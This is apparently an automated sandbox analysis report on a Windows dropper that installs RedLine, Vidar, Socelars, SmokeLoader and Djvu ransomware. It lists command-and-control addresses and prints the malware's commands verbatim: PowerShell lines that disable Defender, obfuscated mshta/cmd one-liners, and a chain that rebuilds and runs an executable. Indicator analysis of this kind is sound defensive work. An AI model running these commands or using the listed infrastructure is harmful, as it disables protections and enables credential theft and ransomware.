djvu | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

max time kernel
66s
max time network
1021s
platform
windows10_x64
resource
win10-en-20211104
submitted
08/11/2021, 16:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe

Malware Config

Extracted

Family

socelars

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

media29

91.121.67.60:23325

Extracted

Family

redline

Botnet

chris

194.104.136.5:46013

Extracted

Family

redline

Botnet

srtupdate33

135.181.129.119:4805

Extracted

Family

smokeloader

Version

2020

http://brandyjaggers.com/upload/

http://andbal.com/upload/

http://alotofquotes.com/upload/

http://szpnc.cn/upload/

http://uggeboots.com/upload/

http://100klv.com/upload/

http://rapmusic.at/upload/

rc4.i32

Extracted

Family

vidar

Version

41.6

Botnet

933

https://mas.to/@lilocc

Attributes

profile_id
933

Signatures

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu

Process spawned unexpected child process 7 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2156	4220	rundll32.exe	151
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7812	4220	rundll32.exe	151
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	10104	4220	rundll32.exe	151
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8164	4220	rundll32.exe	151
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	11120	4220	rundll32.exe	151
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	10900	4220	rundll32.exe	151
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1000	4220	rundll32.exe	151

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

resource	yara_rule
behavioral29/memory/4692-322-0x0000000000418D2A-mapping.dmp	family_redline
behavioral29/memory/4676-319-0x0000000000418D3E-mapping.dmp	family_redline
behavioral29/memory/4692-318-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral29/memory/4684-321-0x0000000000418D32-mapping.dmp	family_redline
behavioral29/memory/4684-317-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral29/memory/4676-316-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral29/files/0x000400000001abc0-177.dat	family_socelars
behavioral29/files/0x000400000001abc0-213.dat	family_socelars

Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE Known Sinkhole Response Header
suricata: ET MALWARE Known Sinkhole Response Header
suricata
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral29/memory/4540-498-0x0000000003380000-0x0000000003456000-memory.dmp	family_vidar
behavioral29/memory/4540-527-0x0000000000400000-0x0000000002F63000-memory.dmp	family_vidar

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral29/files/0x000400000001abc7-125.dat	aspack_v212_v242
behavioral29/files/0x000400000001abc7-127.dat	aspack_v212_v242
behavioral29/files/0x000400000001abc9-130.dat	aspack_v212_v242
behavioral29/files/0x000400000001abc9-131.dat	aspack_v212_v242
behavioral29/files/0x000400000001abc6-126.dat	aspack_v212_v242
behavioral29/files/0x000400000001abc6-135.dat	aspack_v212_v242
behavioral29/files/0x000400000001abc6-134.dat	aspack_v212_v242

Blocklisted process makes network request 1 IoCs

flow	pid	Process
41	1536	cmd.exe

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 35 IoCs

pid	Process
996	setup_installer.exe
4012	setup_install.exe
3896	Fri0471ced4d802994.exe
1504	Fri04113f869350dcf8.exe
2948	Fri04e6f3b78ae5759.exe
2976	stEOwiIS3Hy0D0jqOWnHcCns.exe
2128	Fri04b1200e850ea1bc.exe
3464	Fri040df945a5.exe
2912	Fri040eeed7d137.exe
3416	Fri042d82e64f594.exe
1536	cmd.exe
988	Fri043a70f76ef98.exe
3944	Fri04f70c88181ec8.exe
4020	Fri043b65bf09aa6129a.exe
868	z1HFJkPKWMLYRf.EXE
2392	Fri0480a54c0d2a7.exe
1556	Gtgm_RwIBWjD0vv1yZKavSfV.exe
2160	Fri047a1b6fc980f8.exe
2316	Fri048a4e8610c6c199.exe
2288	Fri0471ced4d802994.tmp
4092	Fri0471ced4d802994.exe
4152	LzmwAqmV.exe
4268	Fri0471ced4d802994.tmp
4348	DownFlSetup110.exe
4436	inst1.exe
4540	Soft1WW02.exe
4656	wYE2_nBt584bTfZn6Z67YO6w.exe
4792	5.exe
4872	search_hyperfs_206.exe
4972	setup.exe
5080	1091585.exe
4676	Conhost.exe
4684	Fri04e6f3b78ae5759.exe
4692	Fri04f70c88181ec8.exe
4244	Calculator Installation.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Loads dropped DLL 9 IoCs

pid	Process
4012	setup_install.exe
4012	setup_install.exe
4012	setup_install.exe
4012	setup_install.exe
4012	setup_install.exe
4012	setup_install.exe
4012	setup_install.exe
2288	Fri0471ced4d802994.tmp
4268	Fri0471ced4d802994.tmp

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
10508	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 20 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
118	ipinfo.io
129	freegeoip.app
134	freegeoip.app
1231	ipinfo.io
2764	api.2ip.ua
2863	api.2ip.ua
117	ipinfo.io
121	ipinfo.io
128	freegeoip.app
330	ipinfo.io
331	ipinfo.io
1230	ipinfo.io
126	freegeoip.app
332	ipinfo.io
741	ipinfo.io
1235	ipinfo.io
2762	api.2ip.ua
15	ip-api.com
742	ipinfo.io
777	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 868 set thread context of 4676	868	z1HFJkPKWMLYRf.EXE	433
PID 2948 set thread context of 4684	2948	Fri04e6f3b78ae5759.exe	128
PID 3944 set thread context of 4692	3944	Fri04f70c88181ec8.exe	127

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 16 IoCs

pid	pid_target	Process	procid_target
492	4012	WerFault.exe	70
3868	4676	WerFault.exe	123
4648	3464	WerFault.exe	83
5500	3464	WerFault.exe	83
6092	3564	WerFault.exe	137
6024	3464	WerFault.exe	83
5656	3464	WerFault.exe	83
6692	4972	WerFault.exe	132
6680	3464	WerFault.exe	83
7056	4972	WerFault.exe	132
7116	3464	WerFault.exe	83
3056	4972	WerFault.exe	132
5504	3464	WerFault.exe	83
2596	4972	WerFault.exe	132
6068	6684	WerFault.exe
5548	4104	WerFault.exe	243

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
7308	schtasks.exe
8512	schtasks.exe
4372	schtasks.exe
5316	schtasks.exe
5576	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
6780	timeout.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
10300	ipconfig.exe

Kills process with taskkill 14 IoCs

evasion

pid	Process
5448	taskkill.exe
6480	taskkill.exe
4908	taskkill.exe
9560	taskkill.exe
12176	taskkill.exe
3536	taskkill.exe
9252	taskkill.exe
5192	taskkill.exe
2880	taskkill.exe
4136	taskkill.exe
3120	taskkill.exe
5140	taskkill.exe
8652	taskkill.exe
7932	taskkill.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
11744	PING.EXE
10628	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	32	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
2368	powershell.exe
2368	powershell.exe
356	dw20.exe
356	dw20.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
492	WerFault.exe
356	dw20.exe
356	dw20.exe
2368	powershell.exe
2368	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	1556	AdvancedRun.exe
Token: SeCreateTokenPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeAssignPrimaryTokenPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeLockMemoryPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeIncreaseQuotaPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeMachineAccountPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeTcbPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeSecurityPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeTakeOwnershipPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeLoadDriverPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeSystemProfilePrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeSystemtimePrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeProfSingleProcessPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeIncBasePriorityPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeCreatePagefilePrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeCreatePermanentPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeBackupPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeRestorePrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeShutdownPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeDebugPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeAuditPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeSystemEnvironmentPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeChangeNotifyPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeRemoteShutdownPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeUndockPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeSyncAgentPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeEnableDelegationPrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeManageVolumePrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeImpersonatePrivilege	2392	Fri0480a54c0d2a7.exe
Token: SeCreateGlobalPrivilege	2392	Fri0480a54c0d2a7.exe
Token: 31	2392	Fri0480a54c0d2a7.exe
Token: 32	2392	Fri0480a54c0d2a7.exe
Token: 33	2392	Fri0480a54c0d2a7.exe
Token: 34	2392	Fri0480a54c0d2a7.exe
Token: 35	2392	Fri0480a54c0d2a7.exe
Token: SeRestorePrivilege	492	WerFault.exe
Token: SeBackupPrivilege	492	WerFault.exe
Token: SeDebugPrivilege	356	dw20.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	1536	cmd.exe
Token: SeDebugPrivilege	492	WerFault.exe
Token: SeDebugPrivilege	4348	DownFlSetup110.exe
Token: SeDebugPrivilege	4656	wYE2_nBt584bTfZn6Z67YO6w.exe
Token: SeDebugPrivilege	4792	5.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 488 wrote to memory of 996	488	f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe	69
PID 488 wrote to memory of 996	488	f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe	69
PID 488 wrote to memory of 996	488	f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe	69
PID 996 wrote to memory of 4012	996	setup_installer.exe	70
PID 996 wrote to memory of 4012	996	setup_installer.exe	70
PID 996 wrote to memory of 4012	996	setup_installer.exe	70
PID 4012 wrote to memory of 2564	4012	setup_install.exe	73
PID 4012 wrote to memory of 2564	4012	setup_install.exe	73
PID 4012 wrote to memory of 2564	4012	setup_install.exe	73
PID 4012 wrote to memory of 1092	4012	setup_install.exe	74
PID 4012 wrote to memory of 1092	4012	setup_install.exe	74
PID 4012 wrote to memory of 1092	4012	setup_install.exe	74
PID 4012 wrote to memory of 696	4012	setup_install.exe	75
PID 4012 wrote to memory of 696	4012	setup_install.exe	75
PID 4012 wrote to memory of 696	4012	setup_install.exe	75
PID 4012 wrote to memory of 1900	4012	setup_install.exe	76
PID 4012 wrote to memory of 1900	4012	setup_install.exe	76
PID 4012 wrote to memory of 1900	4012	setup_install.exe	76
PID 4012 wrote to memory of 3008	4012	setup_install.exe	77
PID 4012 wrote to memory of 3008	4012	setup_install.exe	77
PID 4012 wrote to memory of 3008	4012	setup_install.exe	77
PID 4012 wrote to memory of 2436	4012	setup_install.exe	78
PID 4012 wrote to memory of 2436	4012	setup_install.exe	78
PID 4012 wrote to memory of 2436	4012	setup_install.exe	78
PID 4012 wrote to memory of 1752	4012	setup_install.exe	119
PID 4012 wrote to memory of 1752	4012	setup_install.exe	119
PID 4012 wrote to memory of 1752	4012	setup_install.exe	119
PID 4012 wrote to memory of 1140	4012	setup_install.exe	118
PID 4012 wrote to memory of 1140	4012	setup_install.exe	118
PID 4012 wrote to memory of 1140	4012	setup_install.exe	118
PID 4012 wrote to memory of 2428	4012	setup_install.exe	79
PID 4012 wrote to memory of 2428	4012	setup_install.exe	79
PID 4012 wrote to memory of 2428	4012	setup_install.exe	79
PID 4012 wrote to memory of 2764	4012	setup_install.exe	117
PID 4012 wrote to memory of 2764	4012	setup_install.exe	117
PID 4012 wrote to memory of 2764	4012	setup_install.exe	117
PID 4012 wrote to memory of 2524	4012	setup_install.exe	80
PID 4012 wrote to memory of 2524	4012	setup_install.exe	80
PID 4012 wrote to memory of 2524	4012	setup_install.exe	80
PID 1752 wrote to memory of 3896	1752	cmd.exe	116
PID 1752 wrote to memory of 3896	1752	cmd.exe	116
PID 1752 wrote to memory of 3896	1752	cmd.exe	116
PID 4012 wrote to memory of 1296	4012	setup_install.exe	95
PID 4012 wrote to memory of 1296	4012	setup_install.exe	95
PID 4012 wrote to memory of 1296	4012	setup_install.exe	95
PID 4012 wrote to memory of 2308	4012	setup_install.exe	81
PID 4012 wrote to memory of 2308	4012	setup_install.exe	81
PID 4012 wrote to memory of 2308	4012	setup_install.exe	81
PID 1900 wrote to memory of 1504	1900	cmd.exe	82
PID 1900 wrote to memory of 1504	1900	cmd.exe	82
PID 1900 wrote to memory of 1504	1900	cmd.exe	82
PID 4012 wrote to memory of 1620	4012	setup_install.exe	94
PID 4012 wrote to memory of 1620	4012	setup_install.exe	94
PID 4012 wrote to memory of 1620	4012	setup_install.exe	94
PID 4012 wrote to memory of 756	4012	setup_install.exe	90
PID 4012 wrote to memory of 756	4012	setup_install.exe	90
PID 4012 wrote to memory of 756	4012	setup_install.exe	90
PID 4012 wrote to memory of 3352	4012	setup_install.exe	88
PID 4012 wrote to memory of 3352	4012	setup_install.exe	88
PID 4012 wrote to memory of 3352	4012	setup_install.exe	88
PID 4012 wrote to memory of 940	4012	setup_install.exe	87
PID 4012 wrote to memory of 940	4012	setup_install.exe	87
PID 4012 wrote to memory of 940	4012	setup_install.exe	87
PID 4012 wrote to memory of 3460	4012	setup_install.exe	86

C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
"C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:488
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:996
- - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4012
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      PID:2564
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:1092
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        
        PID:356
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri048a4e8610c6c199.exe
      4⤵
      PID:696
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri048a4e8610c6c199.exe
        
        Fri048a4e8610c6c199.exe
        5⤵
        
        PID:2976
      - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri048a4e8610c6c199.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri048a4e8610c6c199.exe" -u
        6⤵
        Executes dropped EXE
        
        PID:2316
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04113f869350dcf8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1900
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04113f869350dcf8.exe
        
        Fri04113f869350dcf8.exe
        5⤵
        Executes dropped EXE
        
        PID:1504
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04113f869350dcf8.exe"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF """" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04113f869350dcf8.exe"" ) do taskkill /Im ""%~Nxs"" -f " , 0,TRUE) )
        6⤵
        
        PID:4172
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04113f869350dcf8.exe" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k &IF "" == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04113f869350dcf8.exe" ) do taskkill /Im "%~Nxs" -f
        7⤵
        
        PID:4736
        
        C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE
        
        ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:868
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF ""-pVmK5OY1Q2FwiV3_NJROp~tX8k "" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ) do taskkill /Im ""%~Nxs"" -f " , 0,TRUE) )
        9⤵
        
        PID:4356
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k &IF "-pVmK5OY1Q2FwiV3_NJROp~tX8k " == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ) do taskkill /Im "%~Nxs" -f
        10⤵
        
        PID:5164
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBsCrIpt: closE ( crEateOBjECT ("WsCRipT.sHELl" ).ruN( "cmD.Exe /r EchO | SEt /P = ""MZ"" > OoZ39QP7.Q~P &cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x +6TWz8s9B.~T +TiRWH.Ql +FFUU.A1+ YZA~WMAU.H+ FDHTx.pBB + V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q * " ,0 , TRUE ) )
        9⤵
        
        PID:6304
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r EchO | SEt /P = "MZ" > OoZ39QP7.Q~P &cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x +6TWz8s9B.~T +TiRWH.Ql +FFUU.A1+ YZA~WMAU.H+ FDHTx.pBB+ V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q *
        10⤵
        
        PID:6316
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EchO "
        11⤵
        
        PID:6804
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>OoZ39QP7.Q~P"
        11⤵
        
        PID:6824
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe -y ..\WgKZNZ9T.JOX
        11⤵
        
        PID:2260
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /Im "Fri04113f869350dcf8.exe" -f
        8⤵
        Kills process with taskkill
        
        PID:3120
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri040eeed7d137.exe
      4⤵
      PID:3008
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri040eeed7d137.exe
        
        Fri040eeed7d137.exe
        5⤵
        Executes dropped EXE
        
        PID:2912
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Fri040eeed7d137.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri040eeed7d137.exe" & exit
        6⤵
        
        PID:7664
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Fri040eeed7d137.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:4908
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04e6f3b78ae5759.exe
      4⤵
      PID:2436
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04e6f3b78ae5759.exe
        
        Fri04e6f3b78ae5759.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2948
      - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04e6f3b78ae5759.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04e6f3b78ae5759.exe
        6⤵
        Executes dropped EXE
        
        PID:4684
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri043b65bf09aa6129a.exe
      4⤵
      PID:2428
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri043b65bf09aa6129a.exe
        
        Fri043b65bf09aa6129a.exe
        5⤵
        Executes dropped EXE
        
        PID:4020
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCrIPT:cLOsE(CREatEObjecT( "wscript.shell" ). ruN ("cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri043b65bf09aa6129a.exe"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If """" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri043b65bf09aa6129a.exe"" ) do taskkill /F /iM ""%~nXm"" " , 0, tRUE ) )
        6⤵
        
        PID:4140
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri043b65bf09aa6129a.exe" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If ""== "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri043b65bf09aa6129a.exe") do taskkill /F /iM "%~nXm"
        7⤵
        
        PID:4908
        
        C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE
        
        ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6
        8⤵
        
        PID:4324
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCrIPT:cLOsE(CREatEObjecT( "wscript.shell" ). ruN ("cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If ""-POMRtdzPDR3vhvdcwHXlRw6vXu6 "" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ) do taskkill /F /iM ""%~nXm"" " , 0, tRUE ) )
        9⤵
        
        PID:4896
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If "-POMRtdzPDR3vhvdcwHXlRw6vXu6 "== "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE") do taskkill /F /iM "%~nXm"
        10⤵
        
        PID:5476
        
        C:\Windows\SysWOW64\mshta.exe
        
